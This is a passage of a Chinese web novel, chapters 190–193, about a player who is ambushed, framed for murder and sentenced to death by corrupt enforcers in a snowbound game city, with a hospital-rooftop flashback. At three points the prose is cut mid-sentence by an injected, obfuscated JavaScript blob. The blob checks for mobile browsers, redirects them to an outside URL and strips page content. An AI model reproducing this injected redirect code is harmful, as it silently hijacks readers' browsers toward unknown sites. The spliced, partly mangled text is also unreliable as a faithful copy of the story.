冬逢初立刻回忆起江意给的文件,进行比对。其中有一把屠宰场的斧头,该武器设计旨在最大化放血,并且能制造更多痛苦,很符合屠宰场团队成员的爱好。 他又使用便携式X光扫描仪,透视颈椎断面,发现斩击角度自右向□□斜,符合左利手使用者林志的发力特征。并且伤口处有多次砍凿痕迹,像是多次斩击颈部,但未切断。 而在康安右腿的伤口,他检测到了毒素残留,应该是付遇惯用的淬毒弩箭所造成。 冬逢初呼出一口白气,又蹲下身从工具箱里拿出显影剂,喷洒在周围雪地里面。紫外线灯照射下,原本被积雪掩盖的血迹立刻显现。 血迹呈扇形辐射,最远溅射点距离尸体不到一米,显然说明受害者遇到袭击时,处于跪姿或者俯卧状态。 岩壁旁边有断断续续的血滴,延伸至五米外的一处凹坑,坑内积雪密度异常,推断为屠宰场的人试图掩藏证据,却并未彻底清理干净。 这么些证据,足够冬逢初推演出当时的场景: 康安先被付遇的淬毒弩箭射中右腿,丧失行动能力。林志趁机从左后方持斧头斩击他的颈部,但却未完全切断。关应好最后上前补刀,彻底斩首并断手,随后将尸体拖到岩壁后掩埋。 推测完毕,他将全部数据和结论保存至自己的面板,并启动加密。 暴雪越来越大,冬逢初直起身,尽管现在核心证据已经收集完毕,但必须万无一失。 他谨慎地朝着悬崖边挪去,那里是山顶唯一没有检查的地方。并且悬崖附近空无一物,只有狂风卷着雪片呼啸而过,他稍稍松了口气,即使有敌人藏匿在此,这里也没有可以藏身的空间。 他蹲下身,最后检查了一遍悬崖边缘的积雪,确认没有任何遗漏的痕迹。冬逢初站起身,准备返回。 忽然,身后传来积雪炸开声。一道黑影破雪而出,一击铁棍狠狠地抡向他的后脑! 剧痛炸开,他眼前发黑,没来得及发出声音。他踉跄着向前栽倒,砸进冰冷的积雪中。 我去你的。 这狗东西竟然一直将自己埋在雪下,等待时机然后偷袭。 冬逢初咳出一口血沫,染红了唇边的积雪。耳边是更多破雪而出的声音,几个人逼近。接着有人粗暴地抓住他的头发,强迫他抬起头。 视线模糊了一下,然后聚焦在面前那人身上——关应好。 依旧是那双看似温和的眼睛,但现在满是阴鸷。比起《狼人杀》副本时的寸头,他的头发如今长了些,凌乱地沾着雪粒,更添几分戾气。 周围响起几声恭敬的“二哥”,其他屠宰场成员围了过来。 冬逢初想起了江意文件里写着,关应好最擅长从背后偷袭。 190.别离山 关应好半蹲下身,和冬逢初对视,微微一笑:“好久不见啊,冬逢初。” 冬逢初咬紧牙关,咽下喉咙里翻涌的血腥味,一个字也未说。 “把你刚才记录的东西交出来。”关应好握着铁棍,重重抵在冬逢初的肩膀的骨头上,“否则我们会考虑要不要让你现在体会一下康安的死法。” 说着,他朝着屠宰场几人使了个眼色,揪着冬逢初头发的成员加大力气,身后一人狠狠踩住他右腿腿骨,防止他挣扎。冬逢初疼得闷哼一声,依旧不肯开口。 关应好耸耸肩,忽然侧身让开。一名身着黑色制服的执行官走上前,编号A开头,是A12的人。他停在冬逢初面前,抬起头,手指尖亮起蓝光,强行进入了冬逢初的系统面板。 透明蓝色屏幕被迫弹出,闪烁着红色的警告提示,但被他强行关闭,交给了关应好。 文件列表被打开,最顶端的正是一份标注着【康安案证据链】的加密文件。 关应好下意识低下头看向冬逢初,又想起这人估计不会开口说密码,便随便尝试了几个常见的密码组合,把冬逢初的生日日期、玩家编号等全部输了个遍,但面板却一次次跳出红色的【错误】提示。他只好停下手,转头看向执行官。 “别看我。”那个执行官无奈道:“我无法强制破解,这是玩家最高级别加密,只有管理员和妄主能破解。” 关应好叹了口气,转过身与身边的屠宰场成员交换了一个眼神。一名女性成员立刻会意,走上前拽起冬逢初的左臂,高高举起铁锤就要砸下去。 “f o r g e t m e n o t.” 冬逢初的声音忽然响起,因为寒冷,语调有一点点发颤。 女人动作一顿,放下铁锤看向关应好:“二哥,他说出密码了。” 关应好眯眼打量了冬逢初片刻,一句话都没说,在面板上输入了这串密码。紧接着,上面弹出【正确】的提示,文件解锁。密密麻麻的证据列表,高清影像,武器比对图等铺满屏幕。 关应好漫不经心地滑动浏览,甚至有兴趣地点评:“写得真详细啊,可惜了。” 话落,他滑动屏幕的手指停下,轻轻一点,删除文件,随后示意手下松开冬逢初。 冬逢初踉跄着爬起身,黑色大衣沾满积雪。后脑的剧痛让他视线阵阵发黑,他伸手摸了一下,摸到了一手血。 “拿好。”关应好原地不动,将面板递给他,笑容温和,“下次别多管闲事。” 冬逢初面无表情地伸出左手去接,刚刚接住面板,两侧肩膀却突然被两名屠宰场成员死死按住。而前方关应好猛地伸出手,攥住他的手腕,朝他笑了一下。 冬逢初意识到不对,立刻脚下发力,试图挣脱。一直静立在他身旁的一人快速踏前一步,手中高高举起一根缠满倒刺的铁棍,上面还沾着暗沉的血迹。 铁棍带着冷风狠狠砸下,命中冬逢初的左手手腕! 只听“咔嚓”一声,骨头断裂发出脆响。倒刺扎入皮肉划开,鲜血涌出,染红了他苍白的手和袖口。 “啊——!!!” 关应好松开手,冷眼看着冬逢初剧痛,右手死死捂住骨折的左手手腕。紧接着,冬逢初膝窝被身后人狠狠一踹,他向下栽倒,跪倒在雪地中,面板脱手滑落。 “你不会以为我们不知道吧?”关应好弯下腰,冷声道,“你早就备份了文件,主文件删了,备份文件必须由面板识别活体信息才能彻底删除,得是你本人亲自操作才行。现在放你离开,一会儿我们杀人的信息就会出现在暗网上。” “不得不说,冬逢初,你很聪明,观察力也很好。”他顿了顿,忽然笑道,“但有一点你没发现。” “康安右手手腕是断裂的,他死的时候,就跪在这里,就是这个姿势。我本来想废你右手,没想到你伸了左手。” “不过无所谓,反正你都得死。” 他接过手下递来的斧头:“现在,我们来帮你重新还原一遍康安死亡的过程。只不过这一次,主角是你。” 关应好高高举起手,斧头扬在上空,朝着冬逢初的后颈猛地劈砍下去。 冬逢初已经做好了疼痛的准备,耳边却忽地响起“铮!”的刺耳声响。他侧头看去,一把熟悉的冰蓝短刀横挡在自己颈后,和斧头相撞。斧头被狠狠撞飞出去,旋转着插进不远处的雪地。 同时,一道灰色身影从暴雪中疾掠而至,凌空一脚重重踹在关应好胸口。关应好险些坠落悬崖,却在悬崖边猛地刹住车,在雪地里翻滚,稳住身形。 冬逢初趁机起身,踉跄着后退。他抬眼望去,只见初与序立在他身前,手中紧握着冰蓝短刀,护着他。 “阿序。”冬逢初低声唤道,终于心安。 初与序的短刀与他的长剑是双生武器,彼此共鸣。两人的耳骨夹更能在危机时传递感知。她出现在别离山,冬逢初并没有特别惊讶。但他没料到初与序来得这么早。 初与序没出声,侧过头和他对视一眼。冬逢初会意,借着初与序身体遮挡,操作面板,偷偷将备份文件传递给江意。 关应好站起身,拍了拍衣服上的积雪,冷笑一声。屠宰场成员立刻围拢,将两人困在悬崖边。 “别逞强了。”关应好瞥了眼面板时间,“和你们实话实说吧,A12马上就到。整座别离山已被屏蔽,今天你们只会‘意外’死于暴雪,而我们不会留下任何痕迹。” 初与序和冬逢初都清楚,关应好字字属实,即便他们此刻反杀成功,永冬之城的守则也会将他们拖入处罚区,再加上A12的刻意指引,他们一定会因为在永冬之城自相残杀而被判死刑。 这简直就是一场死局。 狂风和雪花砸在众人脸上,半遮挡住每个人的视线。一个高个子女人烦躁地伸手,试图挥开眼前的雪幕,骂道:“这鬼天气,关应好你非选这破山头,冻得老娘手都僵了!先杀哪个?赶紧完事下山!” 关应好盯着冬逢初:“杀他。备份文件还在他面板里,绝不能流出去。” 女人点点头,扛起铁棍大步逼近。其余人也开始行动,几人直扑冬逢初,剩下的斩向初与序,防止她救援。 冬逢初忍着左腕骨折的疼痛,右手重新提起长剑。初与序试图帮助冬逢初,但视线依旧被雪幕遮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984889|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蔽,只能面前通过双生武器的共鸣感知到他在苦战。 两位玩家扑来,直取她要害。这些人招招致命,但她却需要一边自保,一边不得不克制力道,避免真的夺人性命,让自己进入处罚区。 短刀擦过一人肩膀留下血痕,反手刀柄重重击打在另一根肋骨,对方却又再次扑上来。 “呃啊啊啊——!!!” 忽然,不远处突然传来男人的惨叫,紧接着,所有打斗声竟然戛然而止,连初与序身边的两人都停下动作。初与序猛地收刀后退,循着众人惊愕的目光望去。 雪地上,一个屠宰场男性成员仰面倒地,胸口竟然插着冬逢初的长剑。鲜血从伤口涌出,在纯白积雪上漫开刺目的红。他的身体还在轻微抽搐,瞳孔已逐渐涣散。 冬逢初半跪在一旁,额角淌着血。他垂在身侧的手微微颤抖,诧异地看着剑刃与尸体连接处,似乎无法理解这一剑如何刺穿了对方的心脏。 初与序的心立刻沉了下来,别离山冷风的寒意立刻浸透了四肢。 冬逢初杀了人。 “杀人啦——!他杀了我们的人——!” 屠宰场人群瞬间沸腾,有人幸灾乐祸地哄笑,有人愤怒地咒骂着向前逼近,围住冬逢初,替他们死去的队友报仇,整个别离山悬崖乱成了一锅粥。 初与序毫不犹豫地冲上前,一把将愣住的冬逢初拉起,趁乱冲出一条路。 然而,一队执行官的身影穿透雪幕,恰好堵死了所有去路。A12缓步走出,目光扫过雪地中的尸体,以及尸体胸口上的冰蓝长剑,顿时明白了一切,勾起嘴角。 “永冬之城铁律,禁止玩家私斗致死。”他冷冰冰道,“玩家冬逢初,你违规了。” 他抬手,身后的执行官立刻上前,要带走冬逢初。 初与序上前一步挡在冬逢初身前:“A12,你最好先查清真相。和屠宰场共谋,下场你承担不起。” A12背着手耸耸肩,无所谓道:“玩家初与序,警告一次。若你再挡着阻碍执行官,你就是共犯,一样要死。” 冬逢初闻言,身体一僵,轻轻地将初与序推向身后,朝她缓缓摇了摇头。他向前一步,平静道:“我和你们走。别离山的事,与她无关。” A12满意地颔首,打开自己的面板,扬声宣布: “玩家冬逢初违反永冬之城守则,于别离山恶意杀害其他玩家,证据确凿。现判处其收押处罚区,等待最终审判。其所属队伍全体成员——玩家江意、随歌初与序、景明垂——武器即刻没收,活动范围限制于D区,接受严密监视,直至案件审查结束。玩家冬逢初的罪行将公示于系统论坛,以儆效尤。” 执行官们迅速上前,收走了冬逢初的长剑和初与序的短刀。手铐锁住冬逢初手腕,冬逢初却异常平静,甚至配合地抬起手。 被带走前,他回头看了初与序一眼,轻声道:“别担心。” 他的身影逐渐消失在暴雪中,A12示意清理现场,驱散其余人员。屠宰场成员经过初与序身边时,发出毫不掩饰的嘲讽。 在执行官的催促下,初与序最终缓缓转身下山。 191.执行官的威胁 当初与序被两名执行官“护送”到D区时,之前的混战已经停歇。D栋的住户们身上都挂了彩,站在雪地中,被一圈执行官远远围住。屠宰场的人则聚在另一侧,林志站在最前方,虽也有损伤,却个个面带得意。 A12已经提前解除了D区屏蔽,此刻在系统眼里,这只不过是D区住户与屠宰场因为琐事引发的冲突,并且先动手的罪名已经安给了D栋住户。但毕竟是在住户区,为了避免其他玩家趁暴雪偷窥,执行官们没明目张胆偏袒屠宰场,而是宣布了一条公告: “即日起,D区全面封锁。所有涉事人员(包括屠宰场成员与D区住户),一律禁足于各自住所,待雪纪周结束后再行处理。” 此时冬逢初杀人被捕的消息已经传遍了永冬之城论坛。初与序走到队友身边时,随歌正盯着面板,咬牙切齿地骂:“这群执行官真他妈是傻缺!” 他一把将屏幕怼到初与序面前:“你看看。” 论坛置顶的公告标题醒目: 【玩家冬逢初恶性杀人事件通报:】 「内容:今日雪纪周期间,玩家冬逢初于别离山无故袭击屠宰场成员,手段残忍,致一人死亡。经执行官现场调查证据确凿,现已被押送处罚区,将依律严惩。望各位玩家引以为戒,遵守永冬之城秩序。」 下方评论区一群不明真相的玩家发言: 【用户A】D区的人果然没底线! 【用户B】支持系统严惩杀人犯! 【用户C】奇了怪了,那冬逢初平时看着没这么残忍啊…… 【用户D】装的呗,上次在团队赛,他不是还在那里装老实人吗? 向枝冥凑过来看了一眼,当场炸了:“放他妈的屁!他们怎么不写屠宰场一百多人围殴我们几十人?怎么不写初与序和冬逢初差点死在别离山?!” 雪幕另一端,屠宰场的人正在陆续撤回。林志和付遇站在最前方,隔着重重大雪与初与序几人对视几秒,竖起中指,随后转身带人离去。 D栋人气的咬牙,但没办法。 “回去了。”初与序转过身,顺着人流走向D栋。 永冬之城的风雪更狂了,冬逢初被两名执行官押解着前进,手铐戴得很紧,左腕骨折处仍在剧烈疼痛。身后的执行官瞥见他的手腕,却视若无睹,反而在推搡时刻意触碰伤口。 A12走在前方,步伐稳健。 冬逢初抬起头,视线因为失血而模糊:“永冬之城的执行官,现在连基本医疗程序都可以无视了?” A12知道他在说自己骨折的手腕,他脚步未停,头也不回:“急什么?处罚区的医疗资源,自然先给‘守规矩’的人。” “规矩?”冬逢初淡淡道,“是指和屠宰场联手伪造证据的规矩,还是指纵容他们虐杀新人的规矩?” A12突然停下脚步,转身盯着他:“你最好想清楚自己在说些什么,系统可都听着呢。” “系统当然在听。”冬逢初迎上他的目光,“所以我才好奇,你究竟有多大权限,能一次次删除监控,掩盖屠杀,甚至让康安的尸体在别离山躺了整整一周都没人发现?” A12忽然笑道:“冬逢初,这种套话还是省省吧。你真以为系统会在意一个杀人犯的胡言乱语?”他向前一步,贴在冬逢初耳边,冷冷道,“罪人没资格质疑执法者。” 冬逢初垂下眼睫。 一行人抵达处罚区,冬逢初被粗暴地带到一间审讯室门前。如果初与序在此,会认出这正是她之前让《扎人偶》实验室爆炸时,受审的同一间屋子。 冬逢初随意侧头一扫,瞥见走廊尽头,齐无尽斜倚墙边,穿着执行官制服,双臂环抱,面无表情看着这一切。 冬逢初与他对视一眼,随即被狠狠推入审讯室。 双手被铐上审讯椅,执行官故意用重重碾过他的左腕。伤处传来剧痛,他皱了皱眉,没发出一丝声音。 那执行官见冬逢初始终沉默,顿觉无趣,悻悻地“啧”了一声,坐到审讯桌后,另一名执行官也翻开记录本。 刺目的白光从天花板直射而下,冬逢初被迫闭上眼,长长的睫毛在苍白的脸上投下阴影。 他心想,之前阿序进入审讯室,那时的灯光照得她眼睛是不是也是这么痛。 走廊里,一名执行官抱着医药箱停在门口,焦急地问道:“齐、齐长官,您说的受伤玩家在哪儿?” 齐无尽看向审讯室方向:“江意拜托的人,你注意点。” 执行官会意,抬手象征性敲了两下门,便直接推门而入。 桌前的两人被突然进来的人吓了一跳,定睛一看他手里还抱着医药箱,立刻起身呵斥:“我们在审讯!要治疗犯人请等审讯结束后!出去!” 执行官朝他们翻了个白眼:“是齐无尽长官亲自下的令,不服你们去找他啊?” 两人瞬间噎住,他们虽然是A12的亲信,但A12此刻不在,而齐无尽在执行官中是出了名的不好惹,他们可不敢真的去找他。 对视一眼后,两人只好坐回椅子上,硬邦邦道:“你动作快点。” 执行官快步走到冬逢初面前,打开医药箱,同时用只有两个人能听到的声音道:“D区现在被封锁,但他们目前没有危险,你放心。” 冬逢初微微抬眼,轻轻点了点头。 止痛喷雾被喷洒到左腕,手腕被复位,用厚厚的绷带包扎。他垂眸看着自己被固定的左腕,对离开的执行官低声道谢,对方回以一个“自求多福”的眼神。 门再度关上,桌后的两名执行官姿态散漫,一个把腿跷上桌沿,一个瘫坐着转笔。其中一人随手按下控制板,审讯室内监听监视器的红光熄灭。 “反正就是走个流程,你横竖都是个死。”跷着腿的执行官将一份问卷推到冬逢初面前,“把这些全勾‘是’,大家都省事。” 冬逢初低头看向问卷。 「1.你是否杀害玩家?」 「2.你是否主动发起攻击?」 「3.你是否心存恶念,蓄意破坏永冬之城秩序?」 …… 他拿起笔,在问卷上勾画。不过片刻,便将问卷还给执行官。 “哟,这么听话?”执行官嗤笑着拿起问卷,看清答案后表情一僵。 只见问卷上,除了第一题「你是否杀害玩家?」勾画的“是”,其余所有选项后,全是“不是”,还在问卷背后洋洋洒洒写了一行字: 屎壳郎戴面具。 “屎壳郎戴面具?”那执行官一愣,回头问同事,“啥意思?” 同事摊开手,表示他也不知道。两个人纷纷转过头,盯着冬逢初。 冬逢初坐姿端正,淡淡笑道:“屎壳郎戴面具——臭不要脸。” “妈的,文化人哟。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984890|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 执行官猛地坐直,气极反笑。他无所谓地抓起问卷,揉成一团扔进垃圾桶:“无所谓,你写不写结局都一样。” 他起身走到冬逢初面前,双手重重按在审讯椅的小桌板上,身体前倾,与冬逢初对视,一字一顿道: “冬逢初,你猜,等你被判死刑那天,初与序会不会来劫法场?她会不会因为你受伤?等你死了,别人会怎么议论她?‘杀人犯的爱人’?‘包庇凶手的疯子’?” 他歪头笑道:“你不是很爱她吗?舍得让她背一辈子污名?” 冬逢初面无表情:“你想怎样?” 执行官直起身:“我在处罚区有关系,可以让你‘假死’。行刑日当天,系统会显示你已处决,但实际上你会被我们的人转移到地下安全屋。而你要做的,只有一件事。” “找到回现实的办法,然后带着我们一起走。” “回现实?”冬逢初没料到面前人的话,“你们是执行官,在永冬之城能享受到至高无上的权力。不用下副本,没有生命危险,为什么一定要去现实?” 另一位执行官凑过来,道:“永冬之城算什么?我们要的是真正的自由。在这里,永远有执行官比我们高一头。你帮我们逃离这个鬼地方,我们帮你保全性命。很公平,不是吗?” 冬逢初沉默良久,开口道:“那阿序呢?” 执行官耸耸肩:“简单,我们安排一场‘意外’,让她也死一次。你们正好能在安全屋团聚,慢慢研究怎么带着我们回现实,人多力量大嘛。” “回去之后呢?”冬逢初冷冷道,“永冬之城怎么办?剩下的执行官和玩家怎么办?系统会继续把现实里的人抓进来吗?” “关我们屁事!”执行官道,“你一定要当救世主吗?只要能离开这里,谁管他们死活?以我们的能力,在现实世界绝对能混得风生水起。” 冬逢初直视对方,淡淡道:“我拒绝。” 执行官不可置信地瞪大眼睛:“你连这都拒绝?这可是能活命的机会!这么多年从来没有人能逃过死刑!你不想和初与序回现实吗?!” “想。”冬逢初语速温柔缓慢,“这个交易听起来不错。如果只考虑我自己,或许我会接受。但我从来不是一个人。” “你们用阿序来要挟我,说实话选对了人。但可惜你们不够了解我和阿序。” “你不爱她吗?”执行官惊讶道,“全城的人都知道你爱她,你难道不希望她和你一起活下来吗?就愿意待在这冷死人的地方?你是m啊?” “我爱她。”冬逢初温声道:“但如果我真的爱她,就不会以‘保护’为名,擅自替她决定人生。我应该尊重她的选择,而不是把她关在我自以为安全的笼子里。” “如果我答应你们,阿序会突然经历一场精心设计的‘死亡’,然后在虚惊一场后发现本应死去的男友突然出现,而这一场戏还是我策划的。你们觉得,她会怎么想?” “我绝不会让这种事发生。”冬逢初严肃道,“我一定不会和她说:‘别怕,我已经和执行官打好了关系,从今天起我们会假死,在无人知晓的地下安全屋为执行官效力,你一定会安全。’” “那太疯狂了。” “比起这些,我更希望阿序能够堂堂正正地活在阳光下,去走她选择的路。哪怕那条路充满危险,那也是她的选择,而我唯一要做的,就是尊重并相信她。” 192.第一次相见 冬逢初看向墙上的挂钟,补充道:“此外,关于回到现实,我似乎从未在‘现实’存在过。我没有关于现实的任何记忆,不知道现实世界是什么模样,更不可能带你们离开永冬之城,说不定我这辈子也不可能离开这儿。” 一名执行官迅速掏出冬逢初的档案,屏幕上的确一片空白。另一人不死心,压低声音劝诱:“可初与序在现实生活过!只要你们合作,我们一定能找到方法……” “比起这个,”冬逢初打断道,“你们不如先想想,我的判决结果究竟该怎么写。审讯时限还剩一分钟,系统屏蔽若超时,恐怕不好交代。” 两人一惊,同时看向时间,只剩下五十七秒!他们慌忙关闭屏蔽器,监控摄像头的红光重新亮起。 几乎同时,审讯室的门被从外面推开,A12迈步走进来,目光锐利:“审讯结束了?过程和结论?” 两名执行官立刻站直,其中一人偷偷瞥向冬逢初,眼中闪过一丝慌乱,生怕他揭露刚才的交易。 然而冬逢初只是静坐在审讯椅上,垂眸不语。 那名执行官硬着头皮汇报:“玩家冬逢初承认杀人事实,但拒绝认罪。” A12扯出一个笑,从怀中取出一本厚重的《永冬之城规则守则》。他手指轻抬,书籍便悬浮至冬逢初面前,书页自动翻开,哗啦啦翻飞。 “第一百二十七条,玩家禁止自相残杀,违者——死刑。” “第三百零四条,雪纪周期间禁止在非必要时外出,违者——剥夺副本权限十年。” “第五百八十一条,恶意破坏系统秩序,违者——永久流放S级副本。” …… 一条又一条规则宣读,书籍飞速翻页。最终,A12挥手收回,书籍“啪”地合拢落回他掌心中。 “你把《规则守则》当任务栏刷?”他讥讽地挑眉,“今天你犯下的条款,够你死十次。” 接着,他转向另外两名执行官,三人短暂地交换了一个眼神。A12上前一步,打开面板的判决结果表格,声音冰冷: “根据《永冬之城规则守则》第127条,第304条及第581条,玩家冬逢初,犯故意杀人罪、危害公共安全罪及扰乱系统秩序罪,数罪并罚……” “判处死刑,五日后执行。即日起押送至处罚大厦隔离区,不得探视,不得上诉。” 审判词简洁明了,像是早就准备好一般。冬逢初抬眼看向A12,那双总是温柔的眼睛此时深不见底。 两名执行官上前解开审讯椅的束缚,冬逢初缓缓站起身,镣铐发出撞击的声响。 经过A12身边时,他微微侧首,用只有两人能听见的音量轻声道:“还没完。” A12猛地转过头,想弄清楚他这句话的意思,但冬逢初已经走远,只留下一个瘦削的身影。A12摇摇头,只好回到处理区办公室。 他大步走进办公室,反手重重关上门。关应好、林志和付遇早已坐在沙发上,等着A12回来。 “你们还有脸出现在这里?!”A12一见到他们,立刻沉下脸,“谁允许你们在雪纪周动手的?围剿D区?D栋那群疯子是好惹的吗?你们这是把所有人的注意力都引到我们身上!” 关应好端起杯子喝了口水:“急什么?他们围剿D栋,刚好让其他玩家把注意力从别离山转移到D栋,为我们和冬逢初创造场地。现在D栋住户伤得重,战斗力大大下降,我们可以直接把他们一网打尽。” “行,那我们就来谈谈别离山!”A12猛地一拍桌子,“那是系统重点监控区!平时根本没人去,你们偏偏选在那里杀人埋尸!如果只是你们和冬逢初在屠宰场住宅斗殴,系统根本不会管。但现在呢?我不得不再亲自去善后。一旦系统深究,我们全都得完蛋!” “当时情况紧急,冬逢初已经查到康安按的证据了。如果不是我们及时赶到别离山,现在被审判的就是我们。”林志冷静地接话,“而且结果是好的。冬逢初必死无疑,我们只折了个外围成员。用一条杂鱼换D栋一员大将,这买卖不亏。” 付遇轻笑一声,微微前倾身体,死死盯着A12:“别说得这么难听嘛,A12长官。我们不是早就绑在一起了吗?要是我们出事,您那些小动作恐怕也瞒不住吧?” A12的脸色愈发阴沉,他当然明白这些亡命之徒话中的意思。他们故意在别离山行动,就是逼他不得不出面善后。一旦他拒绝,屠宰场随时可以把他勾结玩家的证据抛出去。 “你们根本不懂系统的可怕!”A12压低声音,“普通玩家杀人,系统最多判个死刑。但执行官在禁区违规操作,那是一定会被格式化的!管理员确实很少现身,可一旦发现执行官……” 关应好打断他:“所以更要速战速决。冬逢初必须死,初与序那边也要尽快处理。只要在管理员察觉前把知情人全部清除,再把所有痕迹推到‘玩家内斗’上,谁会深究?” 他冷笑着站起身,另外两人紧随其后。 在离开前,他回头瞥了A12一眼,语气带着毫不掩饰的威胁:“别忘了,我们现在是一根绳上的蚂蚱。冬逢初的死,必须万无一失。” 门被重重甩上,空荡的办公室里只剩下A12。他坐回椅子,揉着突突直跳的太阳穴。窗外,永冬之城的暴雪依旧肆虐。 良久,他忽然抬起眼,直勾勾望着窗外,眼神冷漠。 时光之书阁楼。 阁楼里开了暖炉,嗡嗡作响。八角窗外暴雪狂啸,玻璃上凝结着冰晶。四人围坐在沙发里,纷纷闭口不语。茶几上摆着笔记本电脑,上面显示着论坛置顶: 【死刑判决:玩家冬逢初违反铁律,五日后处决。】 火腿面包蜷在初与序膝边,罕见地没有开口说话。随歌坐在对面沙发上,裹着毯子,看着初与序,张了张嘴,正要开口,却见初与序忽然将手按在了自己的通行卡上:“太冷了。” 蓝光闪过,她的身影已从阁楼消失。 火腿面包抬起脑袋,看向身边空荡的沙发,摇了摇头:“那我也回去了,明天见。” 初与序重新出现在D栋1802,火腿面包紧随其后出现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984891|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她脚边。窗边天色已暗,唯有D区零星灯火在暴风雪中朦胧闪烁。 她径直走进卧室,转身看向面包:“你还能吃掉梦境吗?” “当然能!”面包骄傲地从身上揪下一小块面包,放到她掌心,“老规矩,吃下它,你会梦见你记忆深处的片段,而原来的梦境,就交给我解决啦。” 初与序将那一小块面包塞入口中,才掀开被子躺下。火腿面包也爬上床头柜,裹进小毯子窝了起来。 梦到的场景是她最熟悉不过的地方,十四五岁的初与序穿着单薄的病号服,趴在善佑医院的天台栏杆上,手中拿着一个老旧的打火机。她摁下又抬起,听着打火机咔哒咔哒的声音,火苗忽明忽暗。 冬夜的细雪无声飘着,落满她的发梢。天台角落的废弃花坛积了层薄雪,枯枝在风中轻颤。夜空却十分澄澈,繁星铺满天幕。 身后传来铁门被小心推开的吱呀声。 她警觉地回头,看见一个同样穿着病号服的少年。少年有着浅棕色头发,看起来和她年纪相仿,站在雪沫纷扬的阴影里。 初与序愣了一下,没料到这里会出现另一个人。 “抱歉,希望没吓到你……”少年露出一个浅笑,轻声说,“睡不着,溜出来玩,发现天台门没锁,就上来了。” 善佑医院的天台常年锁死,严格禁止所有病患上来。但当时的初与序可不是什么守规矩的人(其实现在也不是),每晚睡不着,她都会趁着值班护士不注意偷到天台钥匙,溜上来待着,这里算是她的秘密基地。 初与序没有说话,盯着他看了几秒,确认他确实只是误入天台后,便转过头继续望着星空。 男生却没有离开,而是缓步走到她身边倚着栏杆。细雪无声落在两人肩头,他在清冽的空气中呵出一团白雾。 “这里很适合看星星呢。”他看了一眼落在栏杆上的积雪,又侧头看向初与序,“我叫冬逢初,你呢?” 初与序没有回答自己名字,也没有看冬逢初,只问:“新来的?” “昨晚刚来。” 初与序冷笑一声:“你来得真不是时候,一周前这里还挺好的。” “怎么说?”冬逢初声音依旧柔和。 初与序终于转头看他:“一周前善佑医院被私立资本收购,全院的医护人员换了一批。现在这群人大部分都是关系户或廉价雇佣的临时工,基本都有虐待前科,他们会打病患。” 她的目光落在冬逢初脖侧的淤青上,面无表情道:“我们被打后,一般会趁护士睡着,去医务室偷药自己处理,你可以试试。” 冬逢初下意识摸了下脖颈的伤,这是他今晚睡前被护士长暴揍的,原因是他突然出现在大厅里,吓了护士长一跳。 “你怎么知道这么多?他们直接和你们说的?”他笑着问。 初与序回过头:“我溜去档案室看的。”她顿了顿,“我眼睛残疾,身体又差,他们对我没那么防备。” 冬逢初闻言,目光落在她灰蒙蒙的右眼。他沉默了一会,道:“但是你的眼睛很好看。” 193.忘川桥 “多谢。”初与序瞥了他一眼。这人古怪,可某种直觉却让她心生信任,“你被父母送进来的?” 冬逢初表情变得奇怪了一瞬:“……可能吧?”随即反问,“你也是?” “养父母送来三个月了。”初与序回答,“中考结束就被押到这里了。” “什么时候能离开?” “不知道,他们貌似不想在我生母回国之前把我接回去。”初与序无情地补充,“被送到善佑医院还留到现在的,基本都不能离开。” 冬逢初表情没什么变化,像是根本不在意自己能不能离开这里:“没人试着逃跑吗?住院部的路不算复杂,待一周就能摸清。既然能偷到天台钥匙,应该也有机会逃出去。” 初与序微微扬起眉,这个新来的病友,果然不是表面看起来那么温顺老实。 “有的。”她说,“这层楼一半的孩子都想过,但真正行动过的,只有505病房的两个人。” 冬逢初回想起来,他自己住在506,对面的505正是初与序的病房。每间房三张床位,可他昨天路过时,分明看见505除了初与序的床,另外两张都是空的,明显暂时没人住。 “你没有和他们一起跑吗?”他问道。 初与序回答:“逃跑是医院发生变故后第一天就开始计划的,上周五开始行动。原本是三个人一起走,但临行前我被拦下。他们说,三个人一起跑,失败的风险太大。” “我是医护人员眼中最听话的,如果这次失败,我失去伪装,护士们发现被骗,我以后的日子会很难过。我这种体质的人,在这里可能活不下去。” “他们离开这里,如果成功,就立刻报警回来救人;如果失败,我也不会被牵连。于是我留下了,引开护士,协助他们逃跑。” 冬逢初轻声问:“然后呢?” “没有然后了。”初与序冷冷道,“他们当晚被抓了回来,没有供出我,被关在杂物间。第二天晚上我再偷偷去看,杂物间是空的,人不见了。” 冬逢初安静了几秒:“你觉得他们被带去了哪里?” “不知道。”初与序单手撑着脸,“也许已经不在了。”她顿了顿,“现在想想,当初和他们一起走,也不是不行。” 